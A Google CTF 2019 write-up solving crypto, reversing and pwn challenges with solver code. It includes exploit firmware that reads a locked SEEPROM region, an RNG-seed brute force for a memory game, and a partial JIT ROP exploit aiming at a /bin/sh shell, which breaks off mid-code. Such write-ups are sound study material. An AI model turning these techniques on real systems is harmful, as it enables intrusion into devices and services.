# Google CTF 2019 Write-Up
Team LeaveCat-PLUS
## Reverse a cellular automata
rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))
### Challenge - Rule 126
The Wolfram rule 126 is:
1. The current color of the cell is same as the current color of the left one and the right one, then the next color of the cell will be 0 (white).
2. Else, the next color of the cell will be 0 (black).
Check http://mathworld.wolfram.com/Rule126.html for detail.
We can define `rule126(s)` in python:
```python
def rule126(s):
ret = ''
if s[-1] + s[:2] in ['000', '111']:
ret += '0'
else:
ret += '1'
for i in range(0, len(s) - 2):
if s[i:i+3] in ['000', '111']:
ret += '0'
else:
ret += '1'
if s[-2:] + s[0] in ['000', '111']:
ret += '0'
else:
ret += '1'
return ret
```
Run `rule126(format(deadbeef, '032b'))` to check `rule126('0xdeadbeef') = 0x73ffe3b8 = 0b01110011111111111110001110111000`.
### Solver
Let's see the given step: `66de3c1bf87fdfcf = 0110011011011110001111000001101111111000011111111101111111001111`
If there's a pattern like `XX1001XX`, then the previous pattern must be either `X100001X` or `X011110X`.
Also, if there's a pattern like `XX1001101XX`, then the previous pattern must be either `X100001110X` or `X011110001X`.
```
Current : XX1001XX XX1001101XX
Candidate1: X100001X X100001110X
Candidate2: X011110X X011110001X
```
So we can split `66de3c1bf87fdfcf` into multiple binary sequences:
`0110011011011/1100011/110000011011/1/1/1/11000011/1/1/1/1/1/11011/1/1/1/110011/1/1`
Run backtracking for those sequences.
```python
import os
import time
def rule126(s):
ret = ''
if s[-1] + s[:2] in ['000', '111']:
ret += '0'
else:
ret += '1'
for i in range(0, len(s) - 2):
if s[i:i+3] in ['000', '111']:
ret += '0'
else:
ret += '1'
if s[-2:] + s[0] in ['000', '111']:
ret += '0'
else:
ret += '1'
return ret
def inv(s):
return "".join([ '0' if c == '1' else '1' for c in s ])
ans = '0110011011011110001111000001101111111000011111111101111111001111'
segments = ['0011110001110', '0111110', '011111110001', '0', '0', '0', '01111110', '0', '0', '0', '0', '0', '01110', '0', '0', '0', '011110', '0', '0']
def run_decrypt(s):
#print(s)
os.system('echo "{}" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key'.format(s))
os.system('echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key > out 2>/dev/null')
time.sleep(0.05)
with open('out', 'r') as f:
t = f.read()
if t.startswith('CTF{'):
print(t)
def backtrack(idx, ss):
if idx == len(segments):
if rule126(ss) == ans:
run_decrypt(hex(int(ss, 2))[2:])
return
backtrack(idx + 1, ss + segments[idx])
backtrack(idx + 1, ss + inv(segments[idx]))
print(len(segments))
backtrack(0, '')
```
The flag is `CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}`
## Quantum Key Distribution
rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))
### Observation
Let's focus on `'+'`.
`measure()` always returns `0` if the qubit was `[{'real': 1, 'imag': 0}] ` and the basis was `['+']`.
Also, `measure()` always returns if the qubit was `[{'real': 0, 'imag': 1}]` and the basis was `['+']`.
Let's generate the basis/qubits in this way:
```python
import random
numbers = [random.choice([0, 1]) for _ in range(512)]
basis = ['+' for _ in range(512)]
qubits = [
{'real': 1, 'imag': 0} if n == 0
else {'real': 0, 'imag': 1}
for n in numbers
]
```
Because the satellite sends `sat_basis`, we can know what is `binary_key`.
### Solver
The problem is that this amazing challenge never let you know about how does the satellite encode its encryption key.
I guessed XOR encoding is used, and it was right.
You can get the key by this solver:
```python
import requests
import random
import json
def get_res():
while True:
url = 'https://cryptoqkd.web.ctfcompetition.com/qkd/qubits'
numbers = [random.choice([0, 1]) for _ in range(512)]
basis = ['+' for _ in range(512)]
qubits = [
{'real': 1, 'imag': 0} if n == 0
else {'real': 0, 'imag': 1}
for n in numbers
]
r = requests.post(url, json = {'basis': basis, 'qubits': qubits} )
data = json.loads(r.text)
if 'announcement' not in data:
continue
selected = ''
for i in range(512):
if data['basis'][i] == '+':
selected += str(numbers[i])
if len(selected) == 128:
break
selected = int(selected, 2)
announcement = int(data['announcement'], 16)
return selected ^ announcement
print(hex(get_res()))
```
The encryption key is `946cff6c9d9efed002233a6a6c7b83b1`. Decrypt the flag as the description:
```
echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
```
The flag is `CTF{you_performed_a_quantum_key_exchange_with_a_satellite}`
## reality
rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))
### Observation
#### Rational numbers?
The server gives the message:
```
Here's a base32-encoded and encrypted flag: D2SWWNYLMPMTTP7UW3T2F7FB2WOKOW5FUQ6WRVNMWT63BI67I5VA====
To decrypt it you need 5 coefficients. I'll only give you 3
coefficients 1: 2.0945512139243126233469390966360659337566116560570502079314005312920111552779441953774894661811248923249434458063356813045144451738000409728324786283244189653211632334172188625730838828584623073526630001075455309671768407743114126035507986035164219478542944008295598404824603193870943526268627388635662559434827257965507938362636390732870229130109017957040309828225410794084869972867552751592774329207305057228919234690703095689738097446631802945448800903485153655428648702329054967372406281694955299, 10593855629728827920827256221626211304992.836603609726308302538078894100451884984770524981510779766550857898195108464031096658272927085308914573437501941944929057318604688496985205516429806077602940719378336302790794024785262641881630621701233638451025553225221966286383961378218756204796424786460385634478507184509631336318772841179518883712468903422125099396057737556158848338231021018891157487420562948378526890019734689678010377123446496576453274137857709100701448487573348579987170560611831287291
coefficients 2: 2.4065205281037179477528148299682309976183335749937438975329920643020630729552692039825212203835802415083144557417844263808166005415275071106548594399258430140616144910602223633781235577095567502991345655517577843409394744371049454763726851591253431098981079674632438789593191145417952189537652891438460589519410402807146160038616237949557901984375562929002361536709136525830039617460420607185083067684027304304867466182803339166042677788465014242808520387211413011609818987554787554609156536903610982, 16950843997649065541284766903716731581745.513245535979118069870972133820306493521295248126705128140801175873672218386769728170045545814667256670033892752923044916584965166251437565739974533466022980086394689150887567774160570245434136607846349851075032436110440353674844114234316452550624085772612474961417156521571607601399928082684090429389790662653354804015347744762083147875169422313699613304752607123504184836734364541787006877660000368844015046933698636228414911746833351246074214674344253832007
coefficients 3: 1.5586588207077916179653813573757210945561686428609682927444544689923105921929271884983317834956872418520047216107873723710170457903379148917772638243271309429382214242311798679009761887618677411797452820615801998952089722326428089099112893362098522820419022026002969128896360836338655322498896596211953989151888882370769247203426877965689979751782925123759774346725526052163019747387876076255853027638497928036510217726119087721654270066579054597098505220640325737400315938947237184626695256993723173, 4167376841526428783277823999611602353745.5934158836248692478030311902494994384982077929346877358252299669419058637817361772585933813606946709135254497872872263228189698008112787227014651937368578473641945692023708674155245002695864833166955165967077482337977737603293196712399542332928566257159422738904827708059360344192871378724419134352625621339214222569845520982541701771286652933622778004746264758030891828096125590291950316352752552041637886926123947006758918924779322291021906987795727788324489
```
Also the descript says: `Shamir did the job for you, just connect to the challenge and get the flag.`
So it must be Shamir's Secret Sharing(SSS). SSS usually defined in finite field, but this challenge plays with real numbers.
**First**, you need to find out this amazing thing:
```python
from sympy import *
# From coefficients 1
c1 = N('2.0945512139243126233469390966360659337566116560570502079314005312920111552779441953774894661811248923249434458063356813045144451738000409728324786283244189653211632334172188625730838828584623073526630001075455309671768407743114126035507986035164219478542944008295598404824603193870943526268627388635662559434827257965507938362636390732870229130109017957040309828225410794084869972867552751592774329207305057228919234690703095689738097446631802945448800903485153655428648702329054967372406281694955299', 500)
print(1 / c1)
```
The result is: `0.47742924276672060734938440873520448803901672363281249999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999998`.
WOW! It seems very rational. YES, it's surely rational number, and its form is `10^53 / (some integer)`.
So, we can convert the values to `a / b` form, and this is number theory challenge.
### Shamir's Secret Sharing
The server says: `To decrypt it you need 5 coefficients`. It means we need to figure out polynomial of degree 4: $a_4x^4 + a_3x^3 + a_2x^2 + a_1x^1 + a_0$, and $a_0$ is the secret we want.
The server gives us three pairs: $(x_1, y_1), (x_2, y_2), (x_3, y_3)$. From the above section, we can calculate $x_i = q_i / p_i$ where $p_i, q_i$ are integers and $gcd(p_i, q_i) = 1$.
By multiplying $p_i^4$ on the both sides of the equation $y_i = a_4x_i^4 + a_3x_i^3 + a_2x_i^2 + a_1x_i^1 + a_0$, we can get $p_i^4y_i = a_4q_i^4 + a_3q_i^3p_i + a_2q_i^2p_i^2 + a_1q_ip_i^3 + a_0p_i^4$.
If we **guess** that $a_0$ is 16-byte long (like the key size of AES), you can observe the size of $q_i$ by running code and find out that $q_i^3$ is always greater than 16-byte integer.
So we can play in $\mathrm{mod}\ q_i^3$: $p_i^4y_i \equiv a_2q_i^2p_i^2 + a_1q_ip_i^3 + a_0p_i^4 (\mathrm{mod}\ q_i^3)$.
Also, from another observation, $q_0 = q_1 = q_2$ _often_ holds.
So in that case, for $q = q_0 = q_1 = q_2$, we can get three modular equations which have a form of $p_i^4y_i \equiv a_2q^2p_i^2 + a_1qp_i^3 + a_0p_i^4 (\mathrm{mod}\ q^3)$.
We can calculate $ca_0 (\mathrm{mod}\ q^3)$ with an integer $c$ by solving the system of modular equations.
Fortunately, $gcd(c, q^3) \leq 256$ holds and you can get $a_0$ easily, because $q^3$ is much greater than 16-byte integers.
### Decryption
Then, how can we decrypt the flag? We can **guess** again. How about AES-CBC?
Yes, it's right. It was AES-CBC.
### Solver
The solver is here:
```python
from sympy import *
from pwn import *
from Crypto.Cipher import AES
import base64
def xgcd(a, b):
"""return (g, x, y) such that a*x + b*y = g = gcd(a, b)"""
x0, x1, y0, y1 = 0, 1, 1, 0
while a != 0:
q, b, a = b // a, a, b % a
y0, y1 = y1, y0 - q * y1
x0, x1 = x1, x0 - q * x1
return b, x0, y0
def mulinv(a, b):
"""return x such that (x * a) % b == 1"""
g, x, _ = xgcd(a, b)
if g == 1:
return x % b
while True:
r = remote('reality.ctfcompetition.com', 1337)
l0 = r.recvuntil('\n')
flag_enc = base64.b32decode(l0.split(': ')[1][:-1])
#print(hex(flag_enc))
r.recvuntil('\n')
l = [r.recvuntil('\n') for _ in range(3)]
r.close()
x = [N(l[i][16:].split(',')[0], 500) for i in range(3)]
y = [N(l[i][16:].split(',')[1], 500) for i in range(3)]
# Every x is ((10 ** 53) / sth)
t = [ int((N('1.0', 500) / x[i] * (10 ** 53)).round(0)) for i in range(3) ]
gcd = [ xgcd(t[i], 10 ** 53)[0] for i in range(3) ]
p = [ t[i] // gcd[i] for i in range(3) ]
q = [ (10 ** 53) // gcd[i] for i in range(3) ]
# For convinience, skip for differenct qs.
if not (q[0] == q[1] == q[2]):
print("Qs are different", hex(q[0]), hex(q[1]), hex(q[2]))
continue
q = q[0]
q_t = q ** 3
y = [ int((y[i] * (p[i] ** 4)).round(0)) % q_t for i in range(3) ]
y01 = (y[0] * (p[1] ** 2) - y[1] * (p[0] ** 2)) % q_t
y12 = (y[1] * (p[2] ** 2) - y[2] * (p[1] ** 2)) % q_t
c00 = ( (p[0] ** 4) * (p[1] ** 2) - (p[1] ** 4) * (p[0] ** 2) ) % q_t
c10 = ( (p[1] ** 4) * (p[2] ** 2) - (p[2] ** 4) * (p[1] ** 2) ) % q_t
c01 = ( (p[0] ** 3) * (p[1] ** 2) - (p[1] ** 3) * (p[0] ** 2) ) % q_t
c11 = ( (p[1] ** 3) * (p[2] ** 2) - (p[2] ** 3) * (p[1] ** 2) ) % q_t
y = (y01 * c11 - y12 * c01) % q_t
c = (c00 * c11 - c10 * c01) % q_t
gcd = xgcd(q_t, c)[0]
y = (y * mulinv(c // gcd, q_t)) % (q_t)
# y is much smaller than q_t (it's 32byte), so just divide
y //= gcd
key = ''
for i in range(16):
key = chr(y % 256) + key
y //= 256
cipher = AES.new(key, AES.MODE_CBC, chr(0) * 16)
print(cipher.decrypt(flag_enc))
break
```
The flag is `CTF{h0w-r3al-is-y0ur-Re4l-4Real}`
## flagrom
### Analysis
When we executes the 8051 MCU emulator (`flagrom`), it does the following steps:
1. Reads the flag, the firmware (`firmware.8051`) and a user-crafted firmware.
2. Loads the firmware (`firmware.8051`) on the memory of the emulated 8051 MCU and executes it.
3. Loads and executes the user-crafted firmware in the same way.
And analyzing the source code of the firmware (`firmware.c`), we found that the MCU would do the following steps:
1. Writes the flag to the SEEPROM which is also emulated by `flagrom`.
2. Locks the region of SEEPROM in which the flag is written. (SEEPROM consists of 4 regions)
I2C protocol is used for the communication between the MCU and SEEPROM.
The goal is to read the flag from the secured region.
### Idea of Exploit
The validity of r/w address is checked when we directly set its value. And the read requests on the two consecutive memory regions is prohibited if the regions are both secured or not secured.
So, if we set the r/w address to point the memory region that physically precedes the region in which the flag is stored, lock the region and start reading, we can successfully get the flag through the consecutive read requests.
Using the I2C module of the emulated MCU, we cannot keep the r/w address pointing the secured region.
So we modified the given C code (`firmware.c`) to make the emulated MCU use the GPIO module to communicate with SEEPROM, not the I2C module.
### Exploit Code
As mentioned above, we modified the C code and compiled it with SDCC (Small Device C Compiler) to get the resulting .ihx file. The .ihx file was then converted to the user-crafted firmware by a simple python script.
Below is the C code used to make the final firmware.
```c
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) DEBUG;
__sfr __at(0xfd) CHAROUT;
__xdata __at(0xff00) unsigned char FLAG[0x100];
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH; // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK; // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE; // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8]; // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE; // Read: 0 - idle, 1 - busy; Write: 1 - start
const unsigned char SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const unsigned char SEEPROM_I2C_ADDR_SECURE = 0b01010000;
void print(const char *str) {
while (*str) {
CHAROUT = *str++;
}
}
void write(const char* str, unsigned char size) {
unsigned char i = 0;
for (i = 0; i < size; i++) {
CHAROUT = *str++;
}
}
void start() {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = 1;
RAW_I2C_SCL = 1;
RAW_I2C_SDA = 0;
}
unsigned char wait_ack() {
unsigned char ret;
RAW_I2C_SCL = 0;
RAW_I2C_SCL = 1;
ret = RAW_I2C_SDA;
return ret;
}
void raw_send(unsigned char data) {
signed int i;
for (i = 7; i >= 0; i--) {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = ((data >> i) & 1);
RAW_I2C_SCL = 1;
}
}
unsigned char raw_recv() {
unsigned char ret = 0;
signed int i;
for (i = 7; i >= 0; i--) {
RAW_I2C_SCL = 0;
RAW_I2C_SCL = 1;
ret *= 2;
ret += RAW_I2C_SDA;
}
return ret;
}
void set_addr(unsigned char addr) {
unsigned char ack;
raw_send(SEEPROM_I2C_ADDR_MEMORY);
ack = wait_ack();
// state load_addr
raw_send(addr);
ack = wait_ack();
// state write
start();
// state start
}
void read() {
unsigned char ack;
raw_send(SEEPROM_I2C_ADDR_MEMORY | 1); // read
ack = wait_ack();
// state read
char s[60];
unsigned int i;
for (i = 0; i < 60; i++) {
s[i] = raw_recv();
ack = wait_ack();
}
start();
// state start
write(s, 60);
}
void secure(unsigned char mask) {
unsigned char ack;
raw_send(SEEPROM_I2C_ADDR_SECURE | (mask & 0b1111));
ack = wait_ack();
// state idle
start();
// state start
}
void main(void) {
start();
set_addr(60);
secure(0b1111);
read();
POWEROFF = 1;
}
```
## minetest
rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))
### Reading minetest map
The map data is in `map.sqlite` file. There's the table named `blocks`, and the schema of the table is `pos: INT, data: BLOB`.
Each `data` consists of a chunk. The size of each chunk is 16x16x16.
The data is zlib-compressed, and you can use MtBlockParser from https://github.com/AndrejIT/map_unexplore/blob/master/mt_block_parser.py to parse it.
Also, you need to check out the data format from https://github.com/minetest/minetest/blob/master/doc/world_format.txt.
If you enter the map, you can find out that there's a giant circuit set up on a surface. It uses blocks from the [mesecons](http://mesecons.net/) mod.
You can find chunks containing mesecons blocks by searching the string `"mesecons"` in the `nameIdMappings` of each chunk.
Also there are arrays of `param0`, `param1`, `param2`. `param0` is the type of the block, and `param1` and `param2` is used for telling the direction of the block, or some additional information for the block.
From them, you can generate the circuit map from the sqlite file. Here's the code (`map_gen.py`):
```python
import sqlite3
import mt_block_parser
# From https://github.com/minetest/minetest/blob/master/doc/world_format.txt
def getIntegerAsBlock(i):
x = unsignedToSigned(i % 4096, 2048)
i = int((i - x) / 4096)
y = unsignedToSigned(i % 4096, 2048)
i = int((i - y) / 4096)
z = unsignedToSigned(i % 4096, 2048)
return x,y,z
def unsignedToSigned(i, max_positive):
if i < max_positive:
return i
else:
return i - 2*max_positive
conn = sqlite3.connect('data/map.sqlite')
cur = conn.cursor()
cur.execute("Select pos, data from blocks")
paramsAscii = dict()
paramsAscii[(b'air', 15, 3)] = ' '
paramsAscii[(b'air', 15, 0)] = ' '
paramsAscii[(b'ignore', 15, 0)] = ' '
paramsAscii[(b'mesecons_insulated:insulated', 15, 0)] = '─'
paramsAscii[(b'mesecons_insulated:insulated', 15, 3)] = '│'
paramsAscii[(b'mesecons_extrawires:crossover', 15, 3)] = '┼'
paramsAscii[(b'mesecons_extrawires:crossover', 14, 3)] = '┼'
paramsAscii[(b'mesecons_extrawires:corner', 15, 0)] = '┘'
paramsAscii[(b'mesecons_extrawires:corner', 15, 1)] = '┐'
paramsAscii[(b'mesecons_extrawires:corner', 15, 2)] = '┌'
paramsAscii[(b'mesecons_extrawires:corner', 15, 3)] = '└'
paramsAscii[(b'mesecons_extrawires:tjunction', 15, 1)] = '┤'
paramsAscii[(b'mesecons_extrawires:tjunction', 15, 3)] = '┣'
paramsAscii[(b'mesecons_gates:and', 14, 3)] = '&'
paramsAscii[(b'mesecons_gates:or', 14, 3)] = '|'
paramsAscii[(b'mesecons_gates:not', 14, 3)] = '~'
paramsAscii[(b'mesecons_gates:xor', 14, 3)] = '^'
paramsAscii[(b'mesecons_lamp:lamp', 15, 1)] = 'L'
paramsAscii[(b'mesecons_walllever:wall_lever', 15, 0)] = 'Y'
count = 0
final_map = [[" " for i in range(1328)] for j in range(1952)]
for row in cur:
count += 1
if count % 1000 == 0:
print(count)
bigx, bigy, bigz = getIntegerAsBlock(row[0])
data = row[1]
block = mt_block_parser.MtBlockParser(data)
# Only handle chunks with mesecons block
if block.nameIdMappingsRead.find(b'mesecons') == -1:
continue
# Generate nameIdMappings
block.nameIdMappingsParse()
# Generate nodeData to param0/1/2
block.nodeDataParse()
# Mesecons blocks are in y=2
for smallz in range(16):
s = ""
y, z = bigy * 16 + 2, bigz * 16 + smallz
for smallx in range(16):
smallidx = smallz * 16 * 16 + 2 * 16 + smallx
x = bigx * 16 + smallx
name = block.nameIdMappings[block.arrayParam0[smallidx]]
if len(name) > 10:
if name[-4:] == b'_off':
name = name[:-4]
elif name[-3:] in [b'_on', b'_01', b'_10']:
name = name[:-3]
params = (name, block.arrayParam1[smallidx], block.arrayParam2[smallidx])
final_map[z][x] = paramsAscii[params]
conn.close()
with open('map.txt', 'w', encoding='utf-8') as f:
for z in range(1952):
for x in range(1327):
f.write(final_map[z][x])
f.write('\n')
```
### Solving the circuit
Each wire/gate/lever/lamp has its own value (0 or 1). Use z3 to solve it.
```python
import sys
sys.setrecursionlimit(10000)
with open('map.txt', 'r', encoding='utf8') as f:
data = f.read().split('\n')[:-1]
# Step 1: Analyse the map and group into 'objects'
zlen, xlen = len(data), len(data[0])
print(zlen, xlen)
check = [ [None for i in range(xlen) ] for j in range(zlen) ]
objs = [] # ('object type', [endpoint0, endpoint1, ...])
check_count = 0
def dfs(z, x, check_count, prev, debug=False):
global check
if debug:
print(z, x, check_count, prev, data[z][x])
if data[z][x] in 'YL~&^| ':
if prev == 2:
return [(z, x)]
return []
# Wires!
if data[z][x] != '┼':
check[z][x] = check_count
else:
if check[z][x] is None:
if prev in [0, 1]:
check[z][x] = [check_count, None]
else:
check[z][x] = [None, check_count]
else:
if prev in [0, 1]:
check[z][x][0] = check_count
else:
check[z][x][1] = check_count
endpoints = []
if prev != 1 and x > 0 and (data[z][x] in ['─', '┘', '┐', '┤'] or (data[z][x] == '┼' and prev in [0, -1])):
endpoints += dfs(z, x - 1, check_count, 0, debug)
if prev != 0 and x < xlen - 1 and (data[z][x] in ['─', '└', '┌', '┣'] or (data[z][x] == '┼' and prev in [1, -1])):
endpoints += dfs(z, x + 1, check_count, 1, debug)
if prev != 3 and z > 0 and (data[z][x] in ['│', '┘', '└', '┤', '┣'] or (data[z][x] == '┼' and prev in [2, -1])):
endpoints += dfs(z - 1, x, check_count, 2, debug)
if prev != 2 and z < zlen - 1 and (data[z][x] in ['│', '┐', '┌', '┤', '┣'] or (data[z][x] == '┼' and prev in [3, -1])):
endpoints += dfs(z + 1, x, check_count, 3, debug)
return endpoints
for z in range(zlen):
for x in range(xlen):
if data[z][x] == ' ':
continue
if check[z][x] is not None:
# In the case of '┼', this might work wrong
# But it seems it's okay with this map
continue
if data[z][x] == 'Y': # Lever, only output
check[z][x] = check_count
objs.append(
('Y', [(z + 1, x)])
)
check_count += 1
elif data[z][x] == 'L': # Lamp, only input
check[z][x] = check_count
objs.append(
('L', [(z - 1, x)])
)
check_count += 1
elif data[z][x] == '~': # Not gate, 1 input and 1 output
check[z][x] = check_count
objs.append(
('~', [(z - 1, x), (z + 1, x)])
)
check_count += 1
elif data[z][x] in '&|^': # Other gates, 2 inputs and 1 output
check[z][x] = check_count
objs.append(
(data[z][x], [(z, x - 1), (z, x + 1), (z + 1, x)])
)
check_count += 1
elif data[z][x] != '┼': # Wires
endpoints = sorted(dfs(z, x, check_count, -1))
objs.append(
('wire', endpoints)
)
check_count += 1
print(check_count)
# Step 2: Solve with z3
from z3 import *
X = [ Bool("X_{}".format(i)) for i in range(check_count) ]
conds = []
for i, obj in enumerate(objs):
if obj[0] == 'Y':
continue
elif obj[0] == 'L':
zx = obj[1][0]
endpoint = check[zx[0]][zx[1]]
if type(endpoint) is list:
endpoint = endpoint[1]
conds.append( X[i] == X[endpoint] )
conds.append( X[i] )
elif obj[0] == '~':
zx = obj[1][0]
endpoint = check[zx[0]][zx[1]]
if type(endpoint) is list:
endpoint = endpoint[1]
conds.append( X[i] == Not(X[endpoint]) )
elif obj[0] in '&|^':
zx = obj[1][0]
endpoint1 = check[zx[0]][zx[1]]
if type(endpoint1) is list:
endpoint = endpoint1[0]
zx = obj[1][1]
endpoint2 = check[zx[0]][zx[1]]
if type(endpoint2) is list:
endpoint = endpoint2[0]
if obj[0] == '&':
conds.append( X[i] == And(X[endpoint1], X[endpoint2]))
elif obj[0] == '|':
conds.append( X[i] == Or(X[endpoint1], X[endpoint2]))
else:
conds.append( X[i] == Xor(X[endpoint1], X[endpoint2]))
elif obj[0] == 'wire':
zx = obj[1][0]
endpoint = check[zx[0]][zx[1]] # It must be gate
conds.append( X[i] == X[endpoint] )
s = Solver()
s.add(conds)
if s.check() == sat:
m = s.model()
ans = [ '1' if is_true(m[X[i]]) else '0' for i in range(40) ]
print(''.join(ans))
else:
print("UNSAT")
```
The flag is `CTF{1110010101000101110010111110000110011001}`
---
## Code Golf
*Code Golf* is a problem about writing a short [Haskell](https://www.haskell.org/) code. We have to write a function `g`, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as `"ha m"` and `"ck m"`. Function `g` needs to find offsets for each strings, overlay them, and return it.
The rules for the correct answer are as follows:
1. The correct offset will never cause two characters to occupy the same column.
2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
4. The length of the answer code should not exceed 181 bytes.
According to the rules, the answer for `["ha m", "ck m"]` is `"hackme"`.
This is our 176 bytes solution for the problem.
```haskell
' '?y=y
x?' '=x
_?_='~'
(x:c)??(y:d)=x?y:c??d
x??y=x++y
""#[]=[(0,"")]
x#y=[(c+1,a:d)|a:b<-[x],a/='~',(c,d)<-b#y]++[c|a:b<-[y],c<-x??a#b]
g a=snd$minimum$(#)""=<<permutations a
```
We defined four functions, `?`, `??`, `#`, and `g`.
`?` is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return `~`. Here, tilde has no special meaning and is used as a placeholder.
`??` is a string overlay function. It compares the characters in two strings one by one and overlay them with function `?`. If one of them is shorter then the other one, it will concat the rest of the string to the result.
`#` defines the main algorithm. It takes two arguments `a` and `b`. `a` is the remaining suffix and `b` is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.
Finally, function `g` plugs in all possible permutations of the input strings to `#`, finds the shortest and lexicographically first answer, and return it.
## Doomed to Repeat It
This is a (golang + javascript) memory game.
### Vulnerability
```go
// OsRand gets some randomness from the OS.
func OsRand() (uint64, error) {
// 64 ought to be enough for anybody
var res uint64
if err := binary.Read(rand.Reader, binary.LittleEndian, &res); err != nil {
return 0, fmt.Errorf("couldn't read random uint64: %v", err)
}
// Mix in some of our own pre-generated randomness in case the OS runs low.
// See Mining Your Ps and Qs for details.
res *= 14496946463017271296
fmt.Println("random", res);
return res, nil
}
```
`hex(14496946463017271296) == 0xc92f800000000000` the lower bits of pre-generated randomness are zero. Only Ffwer seeds are generated, that can be bruteforced.
### Exploit
```go
func main() {
a := [28][28][28][28][]int{}
b := &board{
nums: make([]int, 56),
visible: make([]bool, 56),
}
for loop := 0; loop < 0x100000; loop++ {
// fmt.Println(i)
if (loop % 0x1000 == 0) {
fmt.Println("here", loop / 0x1000)
}
rand, _ := random.New2(uint64(loop))
// BoardSize is even
for i, _ := range b.nums {
b.nums[i] = i / 2
}
// https://github.com/golang/go/wiki/SliceTricks#shuffling
for i := 56 - 1; i > 0; i-- {
j := rand.UInt64n(uint64(i) + 1)
// fmt.Println(j);
b.nums[i], b.nums[j] = b.nums[j], b.nums[i]
}
a[b.nums[0]][b.nums[1]][b.nums[2]][b.nums[3]] = append(a[b.nums[0]][b.nums[1]][b.nums[2]][b.nums[3]], loop)
}
file, _ := json.Marshal(a)
_ = ioutil.WriteFile("test.json", file, 0644)
...
```
```javascript
protocol = window.location.protocol === 'https:' ? 'wss://' : 'ws://';
ws = new WebSocket(protocol + window.location.host + '/ws');
let table = [];
ws.onopen = () => {
ws.send(JSON.stringify({op: 'guess', body: {X: 0, Y: 0}}));
ws.send(JSON.stringify({op: 'guess', body: {X: 1, Y: 0}}));
ws.send(JSON.stringify({op: 'guess', body: {X: 2, Y: 0}}));
ws.send(JSON.stringify({op: 'guess', body: {X: 3, Y: 0}}));
}
ws.onmessage = (x) => {
let y = JSON.parse(x.data);
let board = y.board;
for (let i=0; i<board.length; i++) {
if (board[i] != -1) table[i] = board[i]
}
console.log('Find..', table)
};
function submit(answer) {
table = answer;
console.log('pre', table);
let i, j;
for (i=0; i<answer.length; i++) {
if (table[i] == -1) continue;
for (j=i+1; j<answer.length; j++) {
if (table[i] == table[j]) break;
}
console.log('answer!', i, j, table[i], table[j]);
table[i] = table[j] = -1;
ws.send(JSON.stringify({op: 'guess', body: {X: parseInt(i%7), Y: parseInt(i/7)}}));
ws.send(JSON.stringify({op: 'guess', body: {X: parseInt(j%7), Y: parseInt(j/7)}}));
}
}
```
---
## JIT
```
We read on the internet that Java is slow so we came up with the solution to speed up some computations!
nc jit.ctfcompetition.com 1337
```
### problem
`Integer.parseInt` gets unicode strings. However libcompiler.run() gets real bytes of unicode string that we can bypass restrictions.
### solve
#### step 1
set rop payload on data area.
#### step 2
execute `mov rsp, r12` instruction. At first, we thought of `xchg rsp, r12`, but it is quite annoying to set `rdi = "/bin/sh"` .
### exploit code
```python
#-*- coding: utf-8 -*-
from pwn import *
from ctypes import CDLL
prog = [
"MOV({}, {})",
"ADD(A, {})",
"SUB(A, {})",
"CMP(A, {})",
"LDR({}, {})",
"STR({}, {})",
"SUM()",
"JMP({})",
"JEQ({})",
"JNE({})",
]
reg = [
"A",
"B",
]
def genAsm(i):
rv = randint(0, 9)
ga = prog[rv]
if rv == 6:
return ga
elif 'LDR' in ga or 'STR' in ga :
return ga.format(reg[randint(0,1)], randint(0,30))
elif 'ADD' in ga or 'SUB' in ga or 'CMP' in ga:
return ga.format("+" + str(randint(0,99999)).rjust(30,"0"))
elif 'MOV' in ga:
return ga.format(reg[randint(0,1)], "+" + str(randint(0,99999)).rjust(30, "0"))
elif 'JMP' in ga or 'JEQ' in ga or 'JNE' in ga:
return ga.format(randint(i-20, i+20)) if i < 780 and i >20 else ga.format(i+1)
else:
assert (False)
def b2s (_c):
c = ord(_c)
res = c
if c > 0x7f:
res = -0x100 + c
return res
def d2s (i):
res = i & 0xffffffff
if res > 0x7fffffff:
res = (-0x100000000 + res)
return res
def intbracket (s):
res = 0
for c in s:
res = d2s(res * 10 + b2s(c) - 0x30)
return res
cdll_libc = CDLL ('libc.so.6')
